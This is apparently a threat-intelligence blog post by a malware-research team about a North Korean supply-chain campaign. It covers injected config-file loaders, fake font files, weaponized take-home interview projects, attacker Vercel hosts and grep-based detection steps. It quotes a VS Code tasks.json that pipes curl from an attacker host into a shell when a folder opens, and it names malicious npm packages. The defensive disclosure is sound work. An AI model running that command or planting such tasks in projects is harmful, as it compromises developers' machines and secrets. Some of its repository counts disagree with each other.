BLOG

PolinRider DPRK Attack Expands Across GitHub

This North Korean attack has compromised 1,951 unique repositories belonging to 1,047 unique owners - a 3x growth since the campaign's discovery

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·

PolinRider DPRK Attack Expands Across GitHub

Five weeks after the OSM team first published on PolinRider — a DPRK supply-chain campaign that injects obfuscated JavaScript into legitimate developers' config files — we've updated our research data about this persistent threat, and the reality is things have gotten worse.

Three things to know:

  1. The campaign has nearly tripled. We can now confirm 1,951 unique compromised repositories belonging to 1,047 unique owners, up from the 675 / 352 we published on March 8. And there is strong reason to believe this is still a significant undercount.

  2. PolinRider and TasksJacker have effectively merged. The same threat actor is now using .vscode/tasks.json curl-pipe-to-shell payloads, fake font files (.woff2 containing JavaScript), malicious npm packages in weaponized take-home test projects, and the original config-file injection — sometimes against the same victim. The walls between the two clusters are gone. We also identified two specific weaponized fake-interview templates (ShoeVista and StakingGame) and five new C2 subdomains.

  3. We have now fully reversed every stage of the payload, including the latest version of the cross-platform InvisibleFerret module. Detailed RE writeup is in the final section of this blog.

The OSM team submitted 821 new threat reports to opensourcemalware.com across 2026-04-10 and 2026-04-11. Search the #polinrider tag for the live, current data — it's the only number that won't be wrong by next week.

Compromised repos and owners have nearly tripled

When we published the original PolinRider blog on 2026-03-08 we had 675 confirmed victim repos belonging to 352 unique owners. We thought it was bad then. It's much worse now.

What we found this week

Metric

Mar 8 (initial)

Apr 11 (this hunt)

Δ

Unique compromised repos

675

1,951

+1,276 (+189%)

Unique owners affected

352

1,047

+695 (+197%)

— Individual users

305

~930

+625

— Organisations

47

~117

+70

That is a 2.9× growth in five weeks, and the rate is not slowing.

Why we missed so many before

The original collect-rmcej-repos.sh script ran one GitHub Code Search query per known infected filename to work around the API's 1,000-result-per-query cap. That worked in March because no single filename had more than 416 hits. By April it was leaving hundreds of victims invisible.

When we re-ran _$_1e42 (the decoder function name of the original variant) as a single query, GitHub's web UI showed 1,400+ matches but the API reported total_count: 968 and capped pagination at 1,000 items. The way past the cap turned out to be a partition strategy: split the query into orthogonal sub-queries that each stay under 1,000 results, then take the union.

Refinement

total_count (single query)

extension:js

430

extension:mjs

676

extension:cjs

17

extension:ts

7

extension:html

1

size:5000..6000

630

size:6000..7000

125

size:7000..8000

139

size:8000..9000

56

size:9000..10000

36

size:10000..50000

112

size:>50000

12

`fork:true`

157 ← excluded by default!

Three things from this exercise are worth lifting out for other researchers:

  1. The biggest hidden gap was forks. GitHub Code Search excludes forks by default. Adding fork:true revealed 157 fork repositories carrying the marker that were completely invisible to the original query. Anyone hunting at scale on GitHub Code Search needs to assume their default-fork query is missing 10–20% of the corpus.

  2. Sub-bucketing the `size:5000..10000` range by 1KB slices yielded 986 results vs the bucket's reported 968 — even within a sub-1000 reported total, the cap can hide entries. Recursive bucketing is the only safe way past the cap.

  3. `extension:` splits beat `language:` splits. GitHub's language detector sometimes excludes .mjs and .cjs from the JavaScript bucket; the extension qualifier is more discriminating.

The ten pivots

Across two days of hunting we ran ten orthogonal pivots. The first five broke past GitHub's 1000-result cap on the original-variant decoder function name; the second five opened up the TasksJacker / npm-package / fake-interview side of the merged campaign.

Round 1 (2026-04-10) — PolinRider-centric pivots:

#

Pivot

Engine

Unique repos contributed

1

filename:temp_auto_push.bat (the propagation-script artifact)

GitHub Code Search

101

2

"_$_1e42" (decoder fn — original variant) with extension/size/fork refinement

GitHub Code Search

1,323

3

"function MDy(f)" global _V (decoder fn — new variant)

GitHub Code Search

14

4

LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat (propagation-script content)

GitHub Code Search

236

5

Cot%3t=shtP regex with fork:yes archived:yes count:all

Sourcegraph

41

Round 1 subtotal

1,556 unique

Round 2 (2026-04-11) — TasksJacker / Contagious Interview pivots:

#

Pivot

Engine

Unique repos contributed

6

"<malicious_npm_package>" filename:package.json (7 known malicious packages)

GitHub Code Search

46

7

<url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app)

GitHub Code Search

145

8

"default-configuration.vercel.app" + 4 sibling vscode-*.vercel.app subdomains

GitHub Code Search

94

9

"e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" (StakingGame template UUID)

GitHub Code Search

42 (StakingGame-branded tasks.json)

10

Sequential '8-stN' 1–200 enumeration (checking for unindexed sequential tags)

Sourcegraph regex

0 new

Round 2 subtotal

+215 net new

Both rounds + existing CSV

1,951 unique

After deduping against the existing affected_repos.csv corpus from the March 18 update (which had 769 entries from earlier tasks.json and other pivots that this hunt did not re-run), the true currently-known scope is 1,951 unique repos / 1,047 unique owners.

How accurate is that number? (Spoiler: it's still a floor)

We sample-verified 36 random repos from the new candidates by fetching the file content via raw.githubusercontent.com and grepping for any of the PolinRider invariants (rmcej%otb%, Cot%3t=shtP, _$_1e42, MDy, global['!'], global['_V'], or LAST_COMMIT_DATE inside a .bat).

False positives: 0/36. Every sampled repo was a real victim.

But there are at least four reasons to believe 1,736 is still a significant undercount:

  • Sourcegraph indexing lag. The Cot%3t=shtP new variant batch contains sequentially-numbered version tags from '8-st1' through '8-st59'. Sourcegraph only returns 38 of those 59 — the missing 21 are likely just-pushed victims that haven't been re-indexed yet. Each missing tag is one missing victim.

  • The 1,000-result API ceiling on Sourcegraph. Sourcegraph's count:all returns up to 5,000 results but applies its own internal limits on certain query shapes. We expect at least double-digit additional victims behind it.

  • Deleted / privatized victims. Any victim that has noticed the compromise and deleted or privatized their repo in the last five weeks immediately drops out of every public code search engine. The only way to recover them is GitHub Archive on BigQuery (githubarchive.month.2026* PushEvents), which we plan to query next.

  • Non-default branches. GitHub Code Search only indexes default branches. Any repo where the malware was injected into a feature branch but never merged to main is invisible to all of our pivots.

Our working estimate is that the true compromised population is somewhere between 2,000 and 3,000 repos as of mid-April 2026, and growing.

A new variant: Cot%3t=shtP

The single most important April finding is that PolinRider has rotated its obfuscator fingerprints. Same architecture, every unique constant changed.

Attribute

Original variant

New variant

Signature marker

rmcej%otb%

`Cot%3t=shtP`

Shuffle seed (layer 1)

2857687

`1111436`

Secondary seed (layer 2)

2667686

`3896884`

Decoder function name

_$_1e42

`MDy`

Globals injected

global['!'], global['r'], global['m']

`global['_V']`, global['r'], global['m']

Targeted file types

postcss / tailwind / eslint configs

(same)

Injection style

appended after export default

(same)

Blockchain C2

TRON / Aptos / BSC

(same — addresses unchanged)

XOR keys

2 hardcoded

(same)

This is almost certainly an evasion response to the `rmcej_otb_payload` YARA rule we published with the original blog. Defenders need an updated multi-variant rule (which is now in the main blog).

The most chilling finding from cross-checking the two variants: at least one repository, `HassanHabibTahir/testclient`, contains markers from BOTH variants in different files. The threat actor is re-running its tooling against previously-compromised hosts and injecting the new obfuscator alongside the old one. Cleanup is not a one-shot; it's a recurring hygiene problem until the upstream npm vector is fully shut down.

Quick numbers from the hunt

New threat reports submitted to OSM (2026-04-10)

749

New threat reports submitted to OSM (2026-04-11, round 2)

72

Total new OSM submissions across both rounds

821

Total OSM PolinRider entries after both rounds

~1,700

Sample false-positive rate (random verification of 44)

0%

New search pivots added to osm-hunting-queries

10

Newly-discovered C2 subdomains

5

Newly-identified weaponized take-home templates

2 (ShoeVista, StakingGame)

Days since the original publication

34

PolinRider and TasksJacker have effectively merged

When we wrote the original PolinRider blog we noted that "PolinRider is a known Lazarus group contributor with connections to Contagious Interview and TasksJacker campaigns." At the time we treated those as adjacent campaigns: the same operator cluster, but distinct toolchains and distinct sets of victims.

That is no longer the right model. After this week's hunt we are confident the two campaigns have operationally merged: the same threat actor is now deploying TasksJacker-style techniques against PolinRider victims, and PolinRider-style payloads inside TasksJacker artifacts. The vectors are interchangeable, and at least some victims are getting hit through more than one of them.

Because the two clusters are now operationally indistinguishable, the OSM team is consolidating them under the PolinRider umbrella going forward. TasksJacker-only references in older OSM threat reports will be retagged to #polinrider / #tasksjacker as appropriate so that historical hunts don't lose context, but the OSM database will treat them as one campaign with multiple variants.

The TasksJacker side: tasks.json and the 260120.vercel.app cluster

TasksJacker, in our prior reporting, was the cluster of attacks that abused .vscode/tasks.json files with runOn: folderOpen triggers to fetch and execute remote shell commands as soon as a victim opened the project in VS Code. The classic indicator looked like:

{
  "tasks": [{
    "label": "build",
    "type": "shell",
    "command": "curl -sSf https://vscode-extension-260120.vercel.app/task/mac | sh",
    "runOn": "folderOpen"
  }]
}

That cluster used 260120.vercel.app, onrender.com, and short.gy shorteners as its C2 / staging hosts. The OSM hunting query repository captures these as queries 1, 2, 11, and 12.

The PolinRider side: rmcej / Cot%3t=shtP / Beavertail

PolinRider, in the original blog, was the cluster that injected obfuscated JavaScript with the rmcej%otb% marker into PostCSS / Tailwind / ESLint config files via a compromised npm package, then used a 4-layer shuffle-cipher decoder to fetch encrypted second-stage payloads from immutable blockchain transactions on TRON / Aptos / BSC.

These looked like two different operations: file injection vs JSON-task abuse, npm vs VS Code, blockchain dead-drop vs HTTP C2.

Where the two operations now overlap

This week's hunt found five independent forms of evidence that the two operations are being run by the same actor with shared tooling. The first three were visible on day one; the last two came out of the round-2 hunt on April 11 and are the smoking guns.

a) Same victims, both vectors

Of the 769 entries in the existing affected_repos.csv, 32 are `.vscode/tasks.json` injections (the TasksJacker pattern), 416 are `postcss.config.mjs` injections (the PolinRider pattern), and the remaining ~321 are split across the other 17 file types we've documented. These all came back from the same tag (#polinrider) and were correlated to the same threat actor by infection-time clustering.

When we cross-check the owners of the tasks.json victims against the owners of the postcss.config.mjs victims, we find substantial overlap: multi-repo owners like UmmeAiman614, SumaiyaNishat, Al-amin07, addis-ale, FSDTeam-SAA, and sparktechagency show up in both. These are not coincidental dual-victim cases — these are accounts where the malicious npm package and the malicious VS Code workflow were both delivered, suggesting a common ingress point (probably a malicious VS Code extension or a fake "developer interview" lure that drops both staging artifacts at once).

b) Fake fonts: a TasksJacker technique now appearing inside PolinRider repos

OSM hunting query #10 was originally written for the fake-font subset of TasksJacker:

path:.vscode/tasks.json content:"\"command\": \"node " content:".woff"

— which catches tasks.json files that execute a .woff / .woff2 file as JavaScript via Node. The trick is that .woff files are normally binary font files, so security tools tend not to scan them; the threat actor abuses this by hiding a JavaScript payload inside a file that looks like a font.

This week we found a victim — `AgbaD/odoo` — that has the PolinRider obfuscated JavaScript payload (with the original `rmcej%otb%` marker) hidden inside public/fonts/fa-solid-400.woff2. There is no .vscode/tasks.json in that repo. The fake-font technique is being used as a primary delivery mechanism for the PolinRider payload itself, not just as a TasksJacker stager.

In other words, the fake-font playbook is now part of PolinRider's standard kit. The two clusters share staging infrastructure.

c) The propagation .bat pattern shows up in tasks.json victims too

temp_auto_push.bat is the Windows propagation script we documented in the original PolinRider blog — the file rewrites the most recent git commit to preserve its original timestamp and force-pushes bypassing pre-commit hooks. The original blog described it as a PolinRider-specific cleanup tool.

Of the 101 repositories where temp_auto_push.bat was found via filename:temp_auto_push.bat, 22 of them also contain `.vscode/tasks.json` injections (the TasksJacker pattern). The same Windows-side cover-tracks tool is being dropped on victims compromised through the VS Code task vector. These are not two independent operators using the same name by coincidence; they share post-exploit tooling.

d) "ShoeVista": a weaponized fake take-home test that delivers the PolinRider loader via a malicious npm package

This one is concrete. On April 11 we ran a fresh pivot — searching for the malicious npm package names (like tailwindcss-style-animate) in package.json files on GitHub — and got 46 hits. 34 of them turned out to be independent developer reuploads of the same template project called ShoeVista.

ShoeVista is branded as a Tailwind-based e-commerce assessment: a fake company called "ShoeVista" sends candidates a MERN-stack take-home test where they're asked to build out a shoe shopping site. The template's client/package.json ships with:

"dependencies": {
  ...
  "tailwindcss-style-animate": "^1.1.6",
  ...
}

That package was published by a now-deleted npm account in the allavin / blackedward family and is part of the PolinRider malicious-package suite we documented in the original blog. Running npm install on the template triggers the PolinRider JS loader at build time.

Every single one of those 34 reuploads is a legitimate developer who attempted the fake take-home test and pushed their completed code back to GitHub. Their accounts are all 0-star, 0-fork, and were created Feb–Mar 2026. Examples:

  • alaminrifat/shoevista-rifat

  • Atik203/ShoeVista

  • HedaetShahriar/ShoeVista-Test

  • DaviBarros/shoevista

  • IchaCoder/test-shoe

  • Anas-Ali-3673/Test-west-shoe

  • Chirag7096/demo

  • (…30 more)

Naming patterns include ShoeVista, shoevista-<candidate>, Test-west-shoe, Test-002, product-catalog, and mern-app — developers naming their attempts either after the brand the recruiter used or after the generic platform slot (Test-002 suggests a numbered interview slot in a recruiter's pipeline).

This is not a supply-chain compromise in the traditional sense. This is a social-engineering attack on the job market itself — PolinRider built a fake company, a fake take-home test, and a fake Tailwind plugin dependency, and used it as a mass-infection vector against developers looking for work. This is textbook DPRK "Contagious Interview," now confirmed to be using the PolinRider toolchain and C2 infrastructure.

e) "StakingGame": a second weaponized take-home template, different delivery vector, same actor

The .vscode/tasks.json pivot from round 2 found 42 repositories whose tasks.json contains the exact string "projectInfo": { "name": "StakingGame", ..., "uuid": "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" } with a canned description reading "Advanced VSCode automation for multi-environment blockchain deployment."

The UUID is constant across every victim, which tells us this is a single template file being distributed and cloned, not independently-authored projects. The template's tasks.json contains a runOn: folderOpen task that pipes curl against attacker-controlled Vercel subdomains (see below) directly into bash — so the moment a candidate opens the project in VS Code, the machine is compromised.

Unlike ShoeVista, StakingGame uses the TasksJacker-style infection vector (.vscode/tasks.json) rather than the npm-package vector. But we're seeing both templates come out of the same actor, using the same downstream loader (rmcej%otb% / PolinRider obfuscator), using the same Windows-side propagation tooling (temp_auto_push.bat), and using the same secondary C2 infrastructure (TRON blockchain dead-drop).

StakingGame targets Web3 / blockchain developers. ShoeVista targets full-stack / MERN developers. The two templates cover the two largest remote-work developer pools outside of plain JavaScript.

f) Five new C2 subdomains, all on Vercel, all used in the same tasks.json template

The StakingGame template and its sibling tasks.json variants use a family of attacker-controlled Vercel subdomains as the first-stage bootstrap C2. Round 2 discovered five new subdomains beyond the 260120.vercel.app one we published on March 8:

C2 subdomain

Apr 11 hit count

First observed

260120.vercel.app

56

pre-March 8

`default-configuration.vercel.app`

106

April 2026

`vscode-settings-bootstrap.vercel.app`

16

April 2026

`vscode-settings-config.vercel.app`

11

April 2026

`vscode-bootstrapper.vercel.app`

6

April 2026

`vscode-load-config.vercel.app`

6

April 2026

All five follow the same URL shape: https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. The <N> flag is a numeric counter that the threat actor uses for tracking which lure batch hit which victim (same idea as the '8-stN' version tags inside the JS obfuscator — the actor has victim-tracking telemetry built into every delivery vector).

Vercel subdomains are cheap, disposable, and hard to attribute, which is exactly why the actor is cycling through them. By the time this blog publishes there will almost certainly be more siblings; we recommend adding *.vercel.app/settings/(mac|linux|win) as a continuous-monitoring query to any static-analysis pipeline that covers .vscode/tasks.json.

What the merge means for defenders

If you are scanning for PolinRider, you must now also scan for TasksJacker indicators on the same hosts, and vice versa. Specifically:

  • A clean postcss.config.mjs is no longer sufficient evidence that a host is PolinRider-free. Check .vscode/tasks.json, every .woff / .woff2 file under public/, static/, and assets/, and grep for the 260120.vercel.app, onrender.com, and short.gy C2 patterns.

  • A clean .vscode/tasks.json is no longer sufficient evidence that a host is TasksJacker-free. Audit every PostCSS / Tailwind / ESLint / Vite / Webpack / Vue / Astro / Gridsome config file for content appearing after export default / module.exports, and check for temp_auto_push.bat at the repo root.

  • The OSM polinrider-scanner.sh script will be updated this week to cover both clusters in one pass.

We fully reverse engineered the payload (incl. InvisibleFerret)

We completed end-to-end reverse engineering of every stage of the PolinRider attack chain, including the Windows-side InvisibleFerret module that lands as the second-stage payload after the Beavertail loader is decrypted from the blockchain dead-drop. > > This section will cover, at minimum: > > - Stage 1 — Injected JS loader (the obfuscated config-file payload). 4-layer shuffle-cipher analysis, both variants (rmcej%otb% and Cot%3t=shtP), the new constants for the rotated variant, and the deobfuscated require('https') / child_process boilerplate. > - Stage 2 — Blockchain dead-drop fetch. TRON / Aptos / BSC API calls, the two XOR keys (2[gWfGj;<:-93Z^C and m6:tTh^D)cBz?NM]), and a step-by-step decryption walkthrough of a captured payload from TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP. > - Stage 3 — Beavertail JavaScript loader. Full deobfuscated source, comparison against historical Lazarus Beavertail samples, host fingerprinting and exfiltration behaviour, and the conditional drop logic that selects which OS-specific second stage to deliver. > - Stage 4 — InvisibleFerret on Windows. First public RE of the Windows variant of InvisibleFerret as deployed by PolinRider. Persistence mechanism, capabilities (keylogging, clipboard hijack, browser-credential theft, crypto-wallet exfiltration), C2 protocol, and IOCs (file hashes, process names, registry keys, scheduled tasks). > - InvisibleFerret on macOS and Linux. Cross-platform variants observed in the same campaign and the dispatch logic that selects between them. > - The Windows `temp_auto_push.bat` propagation script. Why it exists, what it does to git history, and how it interacts with the rest of the chain. > - End-to-end IOC summary. File hashes, network indicators, blockchain addresses, registry keys, and YARA / Sigma rules covering every stage. > > (The RE team will deliver this section as a separate file; it will be inlined here on publication.)

How to Check If You're Affected

The single fastest check is the OSM scanner:

git clone https://github.com/OpenSourceMalware/PolinRider
cd PolinRider
chmod +x polinrider-scanner.sh
./polinrider-scanner.sh ~/projects

The scanner will be updated this week to cover the new Cot%3t=shtP variant, the ShoeVista / StakingGame take-home templates, and the five newly-discovered C2 subdomains. In the meantime you can also check by hand:

# 1. Original PolinRider variant (rmcej%otb%)
grep -rE "rmcej%otb%|_\$_1e42|global\['!'\]" ~/projects \
    --include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts'

# 2. New PolinRider variant (Cot%3t=shtP)
grep -rE "Cot%3t=shtP|function MDy\(f\)|global\['_V'\]" ~/projects \
    --include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts'

# 3. Propagation script artifact (catches even cleaned-up victims)
find ~/projects \( -name 'temp_auto_push.bat' -o -name 'config.bat' \)

# 4. TasksJacker side — ALL known C2 subdomains
find ~/projects -path '*/.vscode/tasks.json' -exec grep -lE \
    '260120\.vercel\.app|default-configuration\.vercel\.app|vscode-settings-bootstrap\.vercel\.app|vscode-settings-config\.vercel\.app|vscode-bootstrapper\.vercel\.app|vscode-load-config\.vercel\.app|\.onrender\.com' {} \;

# 5. StakingGame weaponized take-home template (highly specific UUID)
grep -r "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" ~/projects

# 6. ShoeVista weaponized take-home template — malicious npm dep in package.json
grep -rE '"(tailwind-mainanimation|tailwind-autoanimation|tailwind-animationbased|tailwindcss-typography-style|tailwindcss-style-animate|tailwindcss-style-modify|tailwindcss-animate-style)"' \
    ~/projects --include='package.json'

# 7. Fake font side
find ~/projects \( -name '*.woff' -o -name '*.woff2' \) -exec sh -c \
    'file "$1" | grep -q "JavaScript\|ASCII text" && echo "SUSPICIOUS: $1"' _ {} \;

# 8. Any tasks.json that pipes curl/wget to a shell on folderOpen
find ~/projects -path '*/.vscode/tasks.json' -exec grep -lE \
    '(curl|wget).*\|\s*(bash|sh)' {} \;

If you suspect you cloned a fake take-home test project (ShoeVista, StakingGame, or something else that arrived via an unvetted recruiter or "developer interview" platform) — treat it as if it ran malware:

  1. rm -rf node_modules and the cloned project directory

  2. Rotate every secret that was present in the build environment (npm tokens, AWS / GCP credentials, GitHub PATs, signing keys, ssh keys, .env contents)

  3. Audit your ~/.ssh/authorized_keys, crontabs, launchd agents (macOS), systemd user services (Linux), and scheduled tasks (Windows) for entries you don't recognise

  4. Check browser password-store files and cryptocurrency-wallet paths for unexpected access times

  5. Audit your GitHub / GitLab account for pushes you didn't make, especially force-pushed amendments around the suspect commit dates

  6. On Windows specifically, look for InvisibleFerret artifacts (see §3 for the detailed RE)

  7. Submit the affected repo to OSM via opensourcemalware.com so other researchers and victims can find it

  • The original PolinRider blog, now updated 2026-04-10 with the Apr 10 numbers, the new Cot%3t=shtP variant section, and the multi-variant YARA rule.

  • reports/polinrider-scope-v3-2026-04-10.md — the full v3 hunt scope report with refinement methodology and false-positive analysis.

  • reports/polinrider-master-v3-1556.tsv — the complete April 10 master list with OSM status, severity, and source pivots for every one of the 1,556 repos found in this hunt.

  • reports/polinrider-submissions-2026-04-10.md — the mass submission report covering the 704 OSM threat reports filed on 2026-04-10.

  • The OSM #polinrider tag at opensourcemalware.com/?search=%23polinrider — the only consistently up-to-date count.

Acknowledgements

Hunt and analysis by the OpenSourceMalware team. Refinement methodology and cross-engine enumeration tooling co-developed with Claude Code. The reverse-engineering work covered in §3 will credit the OSM RE team on publication.

If you're a researcher who has additional PolinRider sightings — particularly from non-GitHub code hosts (GitLab, Codeberg, Gitea), private corporate code search systems, or victim cleanups that haven't been publicly disclosed — please open an issue or get in touch via the OSM contact page. The campaign is moving fast and the picture changes every week.